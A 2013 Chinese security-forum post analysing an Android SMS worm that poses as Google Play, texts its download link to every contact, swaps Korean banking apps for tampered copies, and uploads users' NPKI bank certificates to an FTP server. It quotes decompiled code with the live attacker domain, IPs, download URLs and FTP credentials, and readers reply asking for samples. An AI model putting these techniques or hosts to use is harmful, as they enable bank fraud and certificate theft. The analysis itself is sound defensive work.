首页
社区
课程
招聘
[旧帖] [分享]一个新病毒的分析 0.00雪花
发表于: 2013-9-25 09:01 2116

[旧帖] [分享]一个新病毒的分析 0.00雪花

2013-9-25 09:01
2116
1        背景
2013年9月22日,我们监测到一种通过短信传播的手机恶意软件,短信中包含一个网址链接,用户点击后,即在用户不知情的情况下自动向手机通讯录中的联系人群发短信。我们通过分析,确认该恶意软件存在隐私窃取、资费消耗、诱骗欺诈等恶意行为。现将该恶意程序的分析结论详细报告如下。
2        分析结论
通过访问短信中的网址链接,自动下载kakaobe.apk程序。该程序存在以下问题:
(1)        伪装为GooglePlay后台运行:该程序安装后在主屏生成图标 ,伪装为GooglePlay应用,启动后弹出GooglePlay主界面,并在后台运行恶意程序,用户无感知,无法正常退出。

(2)        群发短信:启动后读取用户的通讯录信息,从网络端获取短信模板,给通讯录中的每个联系人发送短信,短信的内容通过网络获取,包含恶意程序的URL链接,造成该恶意程序大量传播。

(3)        安装恶意伪装程序:应用启动后同时启动服务,遍历已安装的应用,如果匹配到已安装的应用为韩国银行应用,提示用户应用有更新,诱骗用户升级,用户确认后将原应用删除,然后从服务器端下载经过篡改的同一应用并安装。导致用户的原始应用被更新为经过篡改的伪装程序。

(4)        上传用户证书:获取用户的数字签名证书,打包成zip文件后,上传到程序中指定的FTP服务器上,造成用户的证书信息泄露。

3        病毒工作原理
3.1        伪装为GooglePlay后台运行
(1)        应用安装完之后将图标设置为GooglePlay的图标
(2)        应用在启动时启动GooglePlay的主页面达到伪装效果
Intent localIntent3 = new Intent();
ComponentName localComponentName2 = newComponentName("com.android.vending", "com.android.vending.AssetBrowserActivity");
Intent localIntent4 = localIntent3.setComponent(localComponentName2);
startActivity(localIntent3);

3.2        群发恶意短信
(1)        安装后首次运行时,或者清除数据强制停止后再次运行时,会进行短信群发。
(2)        启动后首先获取所有联系人数据。在sendMessageThread的run()方法中获取联系人数据:
publicvoid run()
{
super.run();
try
{
      SharedPreferences localSharedPreferences =this.preferences;
      String str1 = PREFERENCE_KEY_IS_SEND_MESSAGE;
if(localSharedPreferences.getBoolean(str1,0));
while(true)
{
return;
        List localList =getAllPhoneNumber();
this.mListPhoneNumber = localList;
StringBuilder localStringBuilder = new StringBuilder("*******phone number size=");
        int i = this.mListPhoneNumber.size();
        String str2 = i;
        int j = Log.d("dream", str2);
str3 = WrapperInterFace.getSendMessageContent();
        LogUtils.logDebug("***send message=" + str3);

(3)        获取短信模板,从服务器d3.sbsbe.com上获取memo.txt:
publicstatic String getSendMessageContent()
throws JSONException
{
    String str =JsonParseToString.getStingWebServiceGet("http://d3.sbsbe.com:8080/memo.txt");
if(str !=null);
while(tru
{
return str;
      str =null;
}
}
如果服务器成功返回,获取应答包的内容(也就是短信模板):
if (localHttpResponse.getStatusLine().getStatusCode() == 200)
        str5 = EntityUtils.toString(localHttpResponse.getEntity(), "UTF-8");
如果服务器超时未返回,获取默认短信模板:
    catch (ConnectTimeoutException localConnectTimeoutException)
    {
      while (true)
      {
        localConnectTimeoutException.printStackTrace();
        str6 = "{\"myerror\":\"Exception\"}";
      }
    }

(4)        给通讯录中的所有用户群发短信,通过循环给所有通讯录中的联系人发短信,短信的内容通过网络获取:
while (true)
      {
        String str3;
        int k;
        localException.printStackTrace();
        continue;
        String str5 = (String)this.mListPhoneNumber.get(k);
sendMessage(str5, str3);
        k += 1;
      }

3.3        下载安装恶意伪装程序
(1)        应用一旦启动,会在MainActivity的onCreate方法中启动Mainservices,Mainservices用于监控是否已安装银行类应用。
Intent localIntent2 = localIntent1.setClass(this, Mainservices.class);
ComponentName localComponentName1 = startService(localIntent1);

(2)        服务启动后,先调用isAvilible函数遍历用户已安装的app,查找用户是否有安装以下韩国银行类应用:
String str26 = "com.kbstar.kbbank";
if (!isAvilible(localMainservices4, str26))
String str28 = "nh.smart";
if (!isAvilible(localMainservices5, str28))
String str30 = "com.webcash.wooribank";
if (!isAvilible(localMainservices6, str30))

(3)        如果存在,则删除原有应用,通过给系统发消息的方式卸载应用,不需要声明卸载权限:
Utils.unInstallAPK(this, str);
……
public static void unInstallAPK(Context paramContext, String paramString)
{
Uri localUri = Uri.parse("package:" + paramString);
Intent localIntent1 = new Intent("android.intent.action.DELETE", localUri);
Intent localIntent2 = localIntent1.setFlags(276824064);
paramContext.startActivity(localIntent1);
  }

(4)        同时监控删除APP的广播,
String str1 = paramIntent.getAction();
if ("android.intent.action.PACKAGE_REMOVED".equals(str1));

(5)        如果发现有应用被删除,而且匹配到删除的app与监控的三个app相同时就会连接到远端服务器,下载经过篡改的APP
publicstatic String APK_1_URL ="http://198.148.81.75:8080/1.apk";
publicstatic String APK_4_URL = "http://198.148.81.75:8080/4.apk";
publicstatic String APK_5_URL = "http://198.148.81.75:8080/5.apk";
……
if (!packageName1Old.equals(str2))
{
String str5 = Mainservices.APK_1_URL;
newDownloadThread(paramContext, str5).start();
……
String str7 = Mainservices.APK_4_URL;
newDownloadThread(paramContext, str7).start();
}       

(6)        下载后安装,通过给系统发消息的方式安装应用,不需要声明申请安装包权限;
boolean bool = Utils.downloadBIN(str3, str4, str2);       
Utils.installAPK(localContext, str6);
……
public static void installAPK(Context paramContext, String paramString)
{
    Intent localIntent1 = new Intent("android.intent.action.VIEW");
    String str = paramString;
    Uri localUri = Uri.parse("file://" + str);
    Intent localIntent2 = localIntent1.setDataAndType(localUri, "application/vnd.android.package-archive");
    Intent localIntent3 = localIntent1.setFlags(268435456);
    paramContext.startActivity(localIntent1);
  }

3.4        获取用户银行证书
(1)        Mainservices服务中会启动UploadFileThread线程来上传文件;
uploadFileThread localUploadFileThread1 = new com/google/cckun/UploadFileThread;
localUploadFileThread1.start();

(2)        应用首先读取用户存放银行证书的目录,文件的名字为手机号码.zip;
String str3 = Utils.getDevicePhoneNumber(this.context);
    StringBuilder localStringBuilder1 =new StringBuilder();
    File localFile1 = Environment.getExternalStorageDirectory();
    String str4 = localFile1 +"/NPKI/" + str3 + ".zip";
    StringBuilder localStringBuilder2 =new StringBuilder();
    File localFile2 = Environment.getExternalStorageDirectory();
    String str5 = localFile2 +"/NPKI";
String str6 ="****zipfilename=" + str4 +",src file path=" + str5;

(3)        通过ftp的方式上传至FTP服务器;
publicstatic String IP_ADDRESS = "d3.sbsbe.com";
publicstatic String USER_NAME = "123123";
publicstatic String USER_PASSWORD = "123123";
……
String str9 = IP_ADDRESS;
String str10 = USER_NAME;
String str11 = USER_PASSWORD;
boolean bool2 = Utils.postToFtp(str9, str10, str11, localFile3);

NPKI:基于PKI公钥体系的嵌套证书认证体系。Android和windows有一个单一的空间来保存NPKI证书。
4        附录
4.1        分析过程记录
(1)        点击链接http://happy.kakaobe.com,系统开始自动下载,下载名为downloadfile.apk的应用;

注:downloadfile.apk和kakaobe.apk为同一应用。

(2)        安装时提示的权限:
  
(3)        下载完成后,手工安装此文件,安装后的应用在主屏上生成如下图标:

(4)        应用启动后会先启动GooglePlay的页面,伪装成GooglePlay,主程序在后台运行。

(5)        应用获取手机号码:

(6)        读取通讯录信息:

(7)        往通讯录中存储的号码,发送短信:

(8)        该应用启动后同时启动监控服务,当扫描到有韩国银行类应用时,该应用会在后台开始下载被篡改的应用,然后在通知栏上弹出伪造的更新提示,提示的内容为应用更新,诱骗用户进行更新:

提示信息在google翻译中显示的结果:
  

(9)        当用户点击通知后,提示用户进行卸载,卸载原应用:
   

(10)        卸载完成后,安装被篡改的应用:
   

(11)        该应用不提供“退出”功能。只能在“系统->应用->正在运行”中强制停止。

4.2        动态行为日志

   

4.3        域名分析
4.3.1 短信模板下载地址

域名地址:        d3.sbsbe.com
IP地址:        198.148.81.79
数字地址:        3331608911
物理位置:        美国 蒙大拿州Sharktech机房
       
       
       

4.3.2 恶意程序下载地址
IP地址:        198.148.81.75
数字地址:        3331608907
物理位置:        美国 蒙大拿州Sharktech机房

4.3.3        数字证书上传地址
域名地址:        d3.sbsbe.com
IP地址:        198.148.81.79
数字地址:        3331608911
物理位置:        美国 蒙大拿州Sharktech机房

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 41
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我还专门打开了一下 d3.sbsbe.com这个网站。。。
2013-9-25 13:11
0
雪    币: 67
活跃值: (53)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
此网址被三大运营商封堵了,所以不能下载了。我通过美国VPN才下载分析的。
2013-9-27 16:01
0
雪    币: 199
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
这个我也在分析 。LZ怎么联系下
2013-9-27 19:46
0
雪    币: 4055
活跃值: (2817)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我用VPN打开http://happy.kakaobe.com,也下载不了啊,LZ是在哪下载的。若不方便,可以PM我
2013-10-1 13:54
0
雪    币: 31
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
看看  什么样的
2013-10-2 10:25
0
雪    币: 67
活跃值: (53)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
我共享过,很多人都下了.这都过去很久了,下次有新的大家在一起分析吧
2013-10-10 15:23
0
雪    币: 38
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
可以发给一个样本吗.谢谢
2014-1-17 10:35
0
游客
登录 | 注册 方可回帖
返回
//